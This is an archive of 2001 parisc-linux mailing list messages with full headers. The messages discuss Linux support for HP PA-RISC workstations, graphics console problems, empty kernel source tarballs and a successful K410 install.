VFS: Mounted root (ext2 filesystem) readonly.
Adding Swap: 498872k swap-space (priority -1)
eth0: Setting full-duplex based on MII#1 link partner capability of
45e1.
VFS: Disk change detected on device sr(11,0)
ISO 9660 Extensions: RRIP_1991A
ISO 9660 Extensions: RRIP_1991A
Lasi PS/2 transmit buffer timeout
-----Original Message-----
From: Helge Deller [mailto:helge.deller@sap.com] 
Sent: Thursday, December 13, 2001 4:10 AM
To: Edward Alfert
Subject: Re: [parisc-linux] What keywords should I use to find the
answer?


On Thursday 13 December 2001 05:42, Edward Alfert wrote:
> ?) Does 0.9.3 support the graphics card on a c240? Or only serial?

Hi Edward,

You maybe should have mentioned the name of the graphic card in 
your machine.
Boot up in serial-console mode and give us the inventory listing (or the
whole
dmesg) which the pa-kernel prints right at the beginning.

Greetings,
Helge




From - Thu Nov 08 21:20:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Firmware upgraded, STI console problem
Date: 13 Dec 2001 07:21:01 -0700
Lines: 28
Approved: news@gmane.org
Message-ID: <1008253261.495.4.camel@beavis>
References: <200112122039.NAA11818@puffin.external.hp.com>
	<Pine.LNX.4.33.0112121147380.4162-100000@goliath.alaskatech.org>
	<20011212210242.E22198@parcelfarce.linux.theplanet.co.uk>
	<1008218517.2031.1.camel@crudball> 
	<20011213052024.D8225@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620842 31511 80.91.229.3 (22 Nov 2014 01:47:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:22 +0000 (UTC)
Cc: Tom <palinux@alaskatech.org>,
	palinux <parisc-linux@lists.parisc-linux.org>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 13 07:21:04 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id C1D01482B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 13 Dec 2001 07:21:03 -0700 (MST)
Original-Received: from ns1.ybsoft.com (beavis.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id D8C4ABCAA; Thu, 13 Dec 2001 07:21:01 -0700 (MST)
In-Reply-To: <20011213052024.D8225@parcelfarce.linux.theplanet.co.uk>
X-Mailer: Evolution/1.0 (Preview Release)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13335

On Wed, 2001-12-12 at 22:20, Matthew Wilcox wrote:
> On Wed, Dec 12, 2001 at 07:41:57PM -0900, Tom wrote:
> > By all means, feel free to post corrections, either here or direct to
> > me, and I'll update it. Also, if someone can think of something else
> > useful for it, just ask... (Perhaps the minimum kernel revision needed?)
> 
> E, F, G, H, I class aren't supported straight off the CD; they require
> additional changes, AIUI.  Not to mention no support for their SCSI
> adapters.  K mostly works... similar problems to E.  D & R should work
> fine (problem with D class with remote management console).  735's FWDiff
> scsi doesn't work.

755 has the same FWDiff as the 735 (outfield) so it doesn't work either.

- Ryan

> -- 
> Revolutions do not require corporate support.
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 





From - Thu Nov 08 21:20:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <helge.deller@sap.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] What keywords should I use to find the answer?
Date: Thu, 13 Dec 2001 15:30:11 +0100
Organization: SAP LinuxLab
Lines: 69
Approved: news@gmane.org
Message-ID: <E16EWsG-0000Ah-00@linuxlab.wdf.sap-ag.de>
References: <001101c183db$4be88290$0201a8c0@w2kpro>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620842 31515 80.91.229.3 (22 Nov 2014 01:47:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:22 +0000 (UTC)
To: "Edward Alfert" <edward@alfert.com>,
	<parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 13 07:30:16 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtpde02.sap-ag.de (smtpde02.sap-ag.de [194.39.131.53])
	by dsl2.external.hp.com (Postfix) with ESMTP id 46A55482B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 13 Dec 2001 07:30:15 -0700 (MST)
Original-Received: from sap-ag.de (smtpde02)
  by smtpde02.sap-ag.de (out) with ESMTP id PAA04009;
  Thu, 13 Dec 2001 15:33:35 +0100 (MEZ)
X-Mailer: KMail [version 1.3.1]
In-Reply-To: <001101c183db$4be88290$0201a8c0@w2kpro>
X-SAP: out
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13336

Hi Edward,

Hmm, I think we forgot to backport the stifb-PCI hack :-(

The reson behind this "I'm not trying to set up the PCI graphic 
card now... It would freeze your machine" message is, that
during the initialisation of the A4977A Visualize EG PCI card 
(which is often found in c3000 workstations) my machine
completely freezes.

Since you have another PCI card you should try a recent kernel 
from CVS which explicitly checks for this combination of c3000 and 
Visualize EG combo and avoids to initialize it. For all other 
combinations of workstations and graphic cards this check isn't 
done and the graphic card will be initialized.
(PS: This should be added to the 0.9.3 FAQ!)

Helge

On Thursday 13 December 2001 14:37, Edward Alfert wrote:
> Thanks for the reply... Following is the entire dmsg...
> I notice it twice says "I'm not trying to set up your PCI graphics card
> now... It would freeze your machine."
>
> Linux version 2.4.9-32 (root@paer) (gcc version 3.0.2 (Debian)) #1 Fri
> Nov 30 19
> .....
> STI PCI ROM enabled at 0xf1e00000
> PCI graphic ROM found at f1e00000 (2048 kB), fb @ f6000000 (32 MB)
> PCI region 0: f6000000 with 32768 kB
> PCI region 1: 00000000 with 0 kB
> PCI region 2: 00000000 with 0 kB
> PCI region 3: 00000000 with 0 kB
> PCI region 4: 00000000 with 0 kB
> PCI region 5: 00000000 with 0 kB
> PCI region 6: f1e00000 with 2048 kB
> PCI region 7: 00000000 with 0 kB
> PCI region 8: 00000000 with 0 kB
> PCI region 9: 00000000 with 0 kB
> PCI region 10: 00000000 with 0 kB
> PCI region 11: 00000000 with 0 kB
> Trying PCI STI ROM at f1e00000, PCI hpa at f6000000
> I'm not trying to set up the PCI graphic card now... It would freeze
> your machine
> Unable to handle STI device 'PCI device 103c:1008 (Hewlett-Packard
> Company)'
>....
> -----Original Message-----
> From: Helge Deller [mailto:helge.deller@sap.com]
> Sent: Thursday, December 13, 2001 4:10 AM
> To: Edward Alfert
> Subject: Re: [parisc-linux] What keywords should I use to find the
> answer?
>
> On Thursday 13 December 2001 05:42, Edward Alfert wrote:
> > ?) Does 0.9.3 support the graphics card on a c240? Or only serial?
>
> Hi Edward,
>
> You maybe should have mentioned the name of the graphic card in
> your machine.
> Boot up in serial-console mode and give us the inventory listing (or the
> whole
> dmesg) which the pa-kernel prints right at the beginning.
>
> Greetings,
> Helge



From - Thu Nov 08 21:20:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Edward Alfert" <edward@alfert.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] What keywords should I use to find the answer?
Date: Thu, 13 Dec 2001 11:33:15 -0500
Lines: 60
Approved: news@gmane.org
Message-ID: <001e01c183f3$de0537a0$830000c0@ealfert>
References: <001101c183db$4be88290$0201a8c0@w2kpro> <E16EWsG-0000Ah-00@linuxlab.wdf.sap-ag.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620843 31521 80.91.229.3 (22 Nov 2014 01:47:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:23 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 13 09:27:09 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from aistrend.allinterior.com (aistrend.allinterior.com [209.194.65.119])
	by dsl2.external.hp.com (Postfix) with ESMTP id E44FA482B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 13 Dec 2001 09:27:08 -0700 (MST)
Original-Received: from ealfert (ais1.allinterior.com [209.194.65.122] (may be forged))
	by aistrend.allinterior.com (8.11.1/8.11.1) with SMTP id fBDGOev04729
	for <parisc-linux@lists.parisc-linux.org>; Thu, 13 Dec 2001 11:24:40 -0500 (EST)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13337

i consider myself a newbie (but i'm willing to learn), so please cut me some
slack, but building the kernel didn't work for me.

this is what i did:
su
cd
mkdir source
ftp ftp.parisc-linux.org
user: anonymous
password: edward@alfert.com
cd cvs
get linux-latest.tar.gz     (also tried linux-2.4.16-pa19.tar.gz)
get palo-latest.tar.gz
quit

cd source

zcat linux-latest.tar.gz | tar -xf -    (nothing gets extracted)
zcat linux-2.4.16-pa19.tar.gz | tar -xv -    (nothing gets extracted)
zcat palo-latest.tar.gz | tar -xf -  (tons of files are extracted into palo
folder)

gunzip *
tar -tvf linux-latest.tar   (no files are listed)
tar -tvf linux-2.4.16-pa19.tar.gz   (no files are listed)
tar -tvf palo-latest.tar.gz   (tons of files are listed)

Why is the linux* files empty?  did i do something wrong?

----- Original Message -----
From: "Helge Deller" <helge.deller@sap.com>
To: "Edward Alfert" <edward@alfert.com>;
<parisc-linux@lists.parisc-linux.org>
Sent: Thursday, December 13, 2001 9:30 AM
Subject: Re: [parisc-linux] What keywords should I use to find the answer?


> Hi Edward,
>
> Hmm, I think we forgot to backport the stifb-PCI hack :-(
>
> The reson behind this "I'm not trying to set up the PCI graphic
> card now... It would freeze your machine" message is, that
> during the initialisation of the A4977A Visualize EG PCI card
> (which is often found in c3000 workstations) my machine
> completely freezes.
>
> Since you have another PCI card you should try a recent kernel
> from CVS which explicitly checks for this combination of c3000 and
> Visualize EG combo and avoids to initialize it. For all other
> combinations of workstations and graphic cards this check isn't
> done and the graphic card will be initialized.
> (PS: This should be added to the 0.9.3 FAQ!)
>
> Helge
>





From - Thu Nov 08 21:20:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] What keywords should I use to find the answer?
Date: Thu, 13 Dec 2001 09:36:31 -0700
Lines: 10
Approved: news@gmane.org
Message-ID: <E16EYqV-0005jC-00@noam.fc.hp.com>
References: <001101c183db$4be88290$0201a8c0@w2kpro> <E16EWsG-0000Ah-00@linuxlab.wdf.sap-ag.de>  <001e01c183f3$de0537a0$830000c0@ealfert>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620843 31523 80.91.229.3 (22 Nov 2014 01:47:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Edward Alfert" <edward@alfert.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 13 09:36:33 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel8.hp.com (atlrel8.hp.com [156.153.255.206])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9B77A482B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 13 Dec 2001 09:36:33 -0700 (MST)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.1.50.190])
	by atlrel8.hp.com (Postfix) with ESMTP
	id 75E5E1F5D6; Thu, 13 Dec 2001 11:36:32 -0500 (EST)
Original-Received: from noam.fc.hp.com (noam.fc.hp.com [15.1.52.69])
	by ldl.fc.hp.com (Postfix) with ESMTP
	id 1AB2C4674; Thu, 13 Dec 2001 09:36:32 -0700 (MST)
Original-Received: from localhost
	([127.0.0.1] helo=fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.32 #1 (Debian))
	id 16EYqV-0005jC-00; Thu, 13 Dec 2001 09:36:31 -0700
In-Reply-To: Your message of "Thu, 13 Dec 2001 11:33:15 EST."
             <001e01c183f3$de0537a0$830000c0@ealfert> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13338

= 
= Why is the linux* files empty?  did i do something wrong?
= 

Bug in the script which creates them.  Should be a new tarball in
under an hour from now.

	-P



From - Thu Nov 08 21:20:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] What keywords should I use to find the answer?
Date: Thu, 13 Dec 2001 16:41:12 +0000
Lines: 14
Approved: news@gmane.org
Message-ID: <20011213164112.A6965@parcelfarce.linux.theplanet.co.uk>
References: <001101c183db$4be88290$0201a8c0@w2kpro> <E16EWsG-0000Ah-00@linuxlab.wdf.sap-ag.de> <001e01c183f3$de0537a0$830000c0@ealfert> <E16EYqV-0005jC-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620843 31527 80.91.229.3 (22 Nov 2014 01:47:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:23 +0000 (UTC)
Cc: Edward Alfert <edward@alfert.com>,
	parisc-linux@lists.parisc-linux.org
To: Paul Bame <bame@fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 13 09:41:28 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id AC570482B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 13 Dec 2001 09:41:27 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16EYv2-0002v2-00; Thu, 13 Dec 2001 16:41:12 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <E16EYqV-0005jC-00@noam.fc.hp.com>; from bame@fc.hp.com on Thu, Dec 13, 2001 at 09:36:31AM -0700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13339

On Thu, Dec 13, 2001 at 09:36:31AM -0700, Paul Bame wrote:
> = 
> = Why is the linux* files empty?  did i do something wrong?
> = 
> 
> Bug in the script which creates them.  Should be a new tarball in
> under an hour from now.

Sure it wasn't due to /var filling up last night?

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:20:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C160 STI console woes
Date: Thu, 13 Dec 2001 10:46:52 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <200112131746.KAA20378@puffin.external.hp.com>
References: <alan@lxorguk.ukuu.org.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620844 31528 80.91.229.3 (22 Nov 2014 01:47:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:24 +0000 (UTC)
Cc: mkp@mkp.net (Martin K. Petersen),
	parisc-linux@lists.parisc-linux.org (palinux)
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 13 10:53:04 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 34920482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 13 Dec 2001 10:53:04 -0700 (MST)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id KAA20378;
	Thu, 13 Dec 2001 10:46:52 -0700
In-Reply-To: Message from Alan Cox <alan@lxorguk.ukuu.org.uk> 
   of "Thu, 13 Dec 2001 01:33:05 GMT." <E16EKkD-0003Dp-00@the-village.bc.nu> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13340

Alan Cox wrote:
> > And I have yet to see a PCI graphics board with universal/3.3V
> > connector.  Except for HP ones, that is.
> 
> You want 5v for the fan 8(

I'm told the "3.3v" vs "5v" only indicates which voltage is
used for signalling - not which power rail the card is using.
Some 3.3v cards pull power from the 5v rail and convert it to 3.3v
in order to get a "cleaner" or more accurate 3.3v than what
the PCI Spec (and some vendors) provides.

And for PCI 2.1, 3.3v power rail is optional.
That turned into a requirement for PCI 2.2 compliance.

(Caveat: this is all second hand info - I'm a SW dork - not HW eng.
  but I believe it's correct.)

grant



From - Thu Nov 08 21:20:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] What keywords should I use to find the answer?
Date: Thu, 13 Dec 2001 12:42:46 -0700
Lines: 13
Approved: news@gmane.org
Message-ID: <200112131942.MAA20588@puffin.external.hp.com>
References: <helge.deller@sap.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620844 31530 80.91.229.3 (22 Nov 2014 01:47:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:24 +0000 (UTC)
Cc: "Edward Alfert" <edward@alfert.com>,
	parisc-linux@lists.parisc-linux.org
To: Helge Deller <helge.deller@sap.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 13 12:47:51 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id E8731482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 13 Dec 2001 12:47:50 -0700 (MST)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id MAA20588;
	Thu, 13 Dec 2001 12:42:46 -0700
In-Reply-To: Message from Helge Deller <helge.deller@sap.com> 
   of "Thu, 13 Dec 2001 15:30:11 +0100." <E16EWsG-0000Ah-00@linuxlab.wdf.sap-ag.de> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13341

Helge Deller wrote:
> (PS: This should be added to the 0.9.3 FAQ!)

(Re C3000/VizEG incompatibility and Vis-EG support on older boxes))

I'm almost done adding a note about that now.
Please review later today when the official website
has been updated.

thanks!
grant



From - Thu Nov 08 21:20:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Richard \"Trey\" Hyde" <Richard.Hyde@cnet.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] success on a K410
Date: 13 Dec 2001 11:56:55 -0800
Lines: 16
Approved: news@gmane.org
Message-ID: <1008273417.26226.33.camel@lakeforest-devel>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620844 31532 80.91.229.3 (22 Nov 2014 01:47:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:24 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 13 13:00:43 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cn-sfo1-g7-2.cnet.com (nat-236-141.cnet.com [64.124.236.141])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5D096482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 13 Dec 2001 13:00:42 -0700 (MST)
Original-Received: from [10.16.128.35] (35.128.16.10.nat.cnet.com [10.16.128.35])
	by cn-sfo1-g7-2.cnet.com (8.9.3/8.9.3) with ESMTP id MAA14907
	for <parisc-linux@lists.parisc-linux.org>; Thu, 13 Dec 2001 12:00:31 -0800 (PST)
X-Mailer: Evolution/1.0 (Preview Release)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13342

I just wanted to let you all know that I has 0.9.3 UP running on my
4-proc K410 (with network). I will attempt a MP boot once I'm able to
make apt-get to do what I like.  (Seems gzip is throwing a fit when 
uncompressing the package lists)

Thanks to all. Overall installation was easier than that of PPC Linux
and Alpha Linux when those distros were further along.
-- 
Richard "Trey" Hyde
Software Engineer
CNET Networks, Inc
US Channel Online
949.460.7801 x122




From - Thu Nov 08 21:20:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] success on a K410
Date: Thu, 13 Dec 2001 13:51:41 -0700
Lines: 13
Approved: news@gmane.org
Message-ID: <200112132051.NAA20731@puffin.external.hp.com>
References: <Richard.Hyde@cnet.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620845 31534 80.91.229.3 (22 Nov 2014 01:47:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:25 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Richard \"Trey\" Hyde" <Richard.Hyde@cnet.com>
